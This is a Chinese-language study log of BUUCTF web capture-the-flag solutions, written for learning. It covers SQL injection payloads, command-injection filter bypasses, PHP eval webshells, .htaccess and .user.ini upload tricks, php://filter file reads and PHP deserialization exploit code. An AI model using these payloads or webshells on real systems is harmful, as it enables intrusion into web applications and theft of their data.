BUUCTF WEB入门题小记
[极客大挑战 2019]EasySQL
使用 1' or '1' = '1' #绕过sql
注意sql中的等于是=,不等于是<>或!=
[极客大挑战 2019]Havefun
在源代码中的注释中找到提示
用$cat=dog获得flag
[HCTF 2018]WarmUp
在源代码中的注释找到提示
进入source.php,审计代码后
用file=hint.php?../../../../ffflllaaaggg获得flag
[ACTF2020 新生赛]Include
"php://" 伪协议的条件:
- allow_url_fopen:off/on。
- allow_url_include:off/on(php://input、php://stdin、php://memory、php://temp 伪协议需要 on)。
这里着重介绍以下 "php://" 伪协议中的 "php://filter"伪协议。
php://filter 是 PHP 中的一种特殊的伪协议,它允许对数据进行过滤处理。它可以通过输入流或输出流来操作数据,常用于对文件、数据流等进行编码、解码、压缩等处理。
主要用途:
对文件内容进行转换,如 base64 编码、ROT13 加密、字符串大小写转换等。
对 HTTP 请求的输入或输出流进行过滤。
基本的语法:
- php://filter/read=<过滤器列表>/resource=<操作目标>
之类的东西,然后就可以将php当作文本打开并输出,并从其中的注释获得flag
/?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
比如这样↑
[GXYCTF2019]Ping Ping Ping
空格绕过的几种方式:< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等。
反引号``会被优先执行,并被重新加载到指令里继续执行
如果用ls需要到f12里找flag
[SUCTF 2019]EasySQL
没有过滤;
配合show databases和show tables堆叠注入可以泄露信息
可以用字典+bp看哪些关键字被过滤
看别人wp发现使用*,1或者修改一个mode可以获得flag
1;set sql_mode=PIPES_AS_CONCAT;select 1
就是把 || 设置成了 concat函数
后端代码$sql = "select ".$post['query']."||flag from Flag";
上面那句执行是:
select concat(1,flag) from Flag
[极客大挑战 2019]LoveSQL
1' union select 1,schema_name FROM information_schema.schemata #
通过特殊表information_schema(储存有关数据库信息的表)查询更多信息
相关连接:https://www.cnblogs.com/Chary/p/17940824
database() schema() current_schema() 返回当前的数据库名字
构造联合注入获得flag
1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database();#
# group_concat()可以将查询到的所有字段名连接在一块
1' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
# 最后查询表内数据
1' union select 1,2,group_concat(username,'~',password) from l0ve1ysq1
[极客大挑战 2019]Secret File
用bp抓包,一路跟到secret
secret里面有个file读,并提示flag在flag.php里
用php://filter/convert.iconv.utf8.utf16/resource=flag.php获得flag
[强网杯 2019]随便注
1, union selec/**/t schema_name from information.schemata#
发现.被过滤,但是没有过滤;
用堆叠注入
1';show tables;#
1';show columns from 1919810931114514;#
注意这里是反引号而不是单引号,因为其中内容是数字而非字符串
1' and extractvalue(0x0a,concat(0x0a,(database())))
extractvalue是mysql的处理函数,作用是从xml字符串中提取符合XPath的值
在这里我们传入错误的xml字符串,mysql就会报错把database全部返回给我们(有详细错误输出的情况下)
发现不是mysql,是supersqli
1';SET @a=concat("sel","ect flag from 1919810931114514");PREPARE hello from @a;execute hello;#
利用set @a加上concat字符拼接的形式,成功绕过并输出flag
或者用rename重命名也可以
';alter table words rename to words1;alter table 1919810931114514 rename to words;alter table words change flag id varchar(50);#
[极客大挑战 2019]Http
dirsearch扫了个login出来,没什么用
<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a>
在这里有一个神秘php,onclick永远false,且cursor为default,光标不会变手,且border为none没有边框
所以就是被藏起来的东西,点进去以后根据要求
逐步修改X-Forward-For、user-agent和referer,然后即可获得flag
[极客大挑战 2019]Upload
用phtml绕过后缀名php检测
用GIFa89?绕过magic检测
还要修改type,然后就过了
<script language='php'>
eval($_GET["cmd"]);
</script>
[极客大挑战 2019]Knife
一句话,没了
[ACTF2020 新生赛]Upload
phtml,没了
[极客大挑战 2019]BabySQL
SQL巩固
注意两个注释后面都要加空格
快速默写一下
1' union select 1,2,group_cat(schema_name) from information_schema.schemata --
1' union select 1,2,group_cat(table_name) from information_schema.tables where table_schema = database()
1' union select 1,2,group_cat(column_name) from information_schema.columns where table_schema = database() and table_name = "xxx" --
union和select被数删了,双写绕过即可
(实际上里面插or就行了,这样短一些)
[极客大挑战 2019]PHP
dirsearch -x 429即可排除429正常扫描
哦不还是用dirmap吧,新版dirsearch貌似硬编码禁止429
然后分析flag.php和index.php,构造出满足条件的就可以了
<?php
class Name{
private $username = "admin";
private $password = 100;
}
$a = new Name;
echo urlencode(serialize($a)) . "\n";
echo serialize($a);
?>
#O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
这里利用了一个Obj数不相等就会跳过wakeup的漏洞(CVE-2016-7124
发生版本php5<5.6.25 php7<7.0.10
name后面那个改成3即可
[ACTF2020 新生赛] BackupFile
用dirmap扫,dirsearch一片绿,还要自己翻
dirmap第一遍没扫出来,第二遍扫出来了
查看bak,弱类型比较,输入?key=123结束
[RoarCTF 2019]Easy Calc
进入calc.php,获得源码
然后不会,说?num这里问号后面加空格就绕waf了
???
总之绕了,虽然有些过滤但是chr.chr拼一下结束了
file_get_contents读文件
var_dump打印对象键值对
chr().chr()用数字拼字符
[极客大挑战 2019]BuyFlag
可恶啊bp以为加了内容就是post了,结果请求头get忘改害我排查了好久
"404a"=404
cookie里面改成1(诡异的考点)
money进行了长度过滤,不能直接输入
1e9或者money[]=1000000000都可以,前者长度够短,后者能通过长度过滤,比较中再转化为字符串比较,简单通过
[BJDCTF2020]Easy MD5
第一关,只要碰撞出一个开头为1'or'加上一个非0数字即可
第二关,只要碰撞出两个0e开头的md5即可
AI直接给了我一个然后做完了?a=QNKCDZO&b=240610708
第三关,传两个数组结束
[HCTF 2018]admin
源码404了怎么写?
但是提供了两个思路,第一个是能拿到源码,能拿到secret key,就可以伪造sessions
第二个思路是unicode字符转码,用ᴬ -> A -> a,导致admin被覆盖
[MRCTF2020]你传你🐎呢
修改content-type就可以上传
传.htaccess将jpg视作php
AddType application/x-httpd-php .jpg
# 或者
<FilesMatch "lx1">
SetHandler application/x-httpd-php
</FilesMatch>
如果禁用图片可以用xdm绕过,刚好文件头是两个#被当成注释
一句话禁了system,用scandir和var_dump和file_get_contents输出flag即可
[护网杯 2018]easy_tornado
tornado render漏洞
error message输入{{20}}发现大括号没了
虽然乘法被过滤了,但是{{handler.settings}}泄露secret cookie随后用hints的办法+hash成功秒杀
[ZJCTF 2019]NiZhuanSiWei
简单反序列化
可以用伪协议假装输入是来自文件,用?text=data://text/plain,welcome to the zjctf
exp:
<?php
class Flag{ //flag.php
public $file;
}
$a = new Flag();
$a->file = "/flag.php";
echo serialize($a);
//O:4:"Flag":1:{s:4:"file";s:9:"/flag.php";}
[MRCTF2020]Ez_bypass
简单bypass,依旧是传两个数组加弱比较
[极客大挑战 2019]HardSQL
报错注入:1'or(extractvalue(0x0a,concat(0x0a,(database()))))#
()也可以用来当空格用
1'or(extractvalue(0x0a,concat(0x0a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))#
1'or(extractvalue(0x0a,concat(0x0a,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())))))#
1'or(extractvalue(0x0a,concat(0x0a,(select(group_concat(id,username,password))from(H4rDsq1)))))#
1'or(extractvalue(0x0a,concat(0x0a,(select(group_concat(right(password,25)))from(H4rDsq1)))))#
前两个分别是爆表名和列名,后两个是把flag读出来,因为这个函数报错长度有限制要拆成两部分
H4rDsq1
flag{1ef882da-6f02-4bd3-84
2-4bd3-8406-529a271a3eb3}
flag{1ef882da-6f02-4bd3-8406-529a271a3eb3}
[网鼎杯 2020 青龙组]AreUSerialz
简单类型判断绕过get flag
写那么长还以为有多难呢
[GXYCTF2019]BabyUpload
考点开始重复了喵,简单upload即可
用<script language='php'>@eval($_GET['a'])</script>即可
[SUCTF 2019]CheckIn
不能.htaccess那就.user.ini
GIF89a
auto_prepend_file=1.jpg
然后1.jpg传马,访问那个目录下的index.php即可
[GXYCTF2019]BabySQli
union select的时候如果传入伪造的数据
会把伪造的数据也列入查询结果
伪造union select 1,'admin',md5('123')然后password=123就可以了
那个union确实能想出来,但是md5就有点奇怪了,看别人wp才知道,不过也算常见就是了\\
[GYCTF2020]Blacklist
堆叠注入,学习一下低级方式handler的用法
1';handler FlagHere open;handler FlagHere read next; handler FlagHere close; #
[RoarCTF 2019]Easy Java
抄一下别人博客里的东西
说起来能不能用dirmap(试了好像不能
src/main/java: 这个目录一般是存放web项目的Java源文件的
src/main/resource: 这个目录一般是存放相关的配置文件
src/main/webapp: 这个目录一般是和web应用相关的
webapp下的文件目录是容易出现安全问题的
/WEB-INF/web.xml: Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件(即编译后的Java文件),包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
发现有个help.docx,但是无法下载,改成post以后能下了
然后下web.xml,里面有个flagcontroller,再跟着下就把flag下出来了
不知道为什么,浏览器不准我下,于是用burp直接看返回包,获得flag
至此buuctf web第一页结束!大概思路精简如上,啪唧啪唧啪唧
(虽然好多时候都在看别人的blog,但也算,稍微,稍微入了一点点门吧?比如说xss什么都还没写到.jpg)
(但是我还没有配自己的服务器,看来还要加吧劲了.jpg)
(因为内核学太累了所以摸两天,呜呜小花不要骂我)

浙公网安备 33010602011771号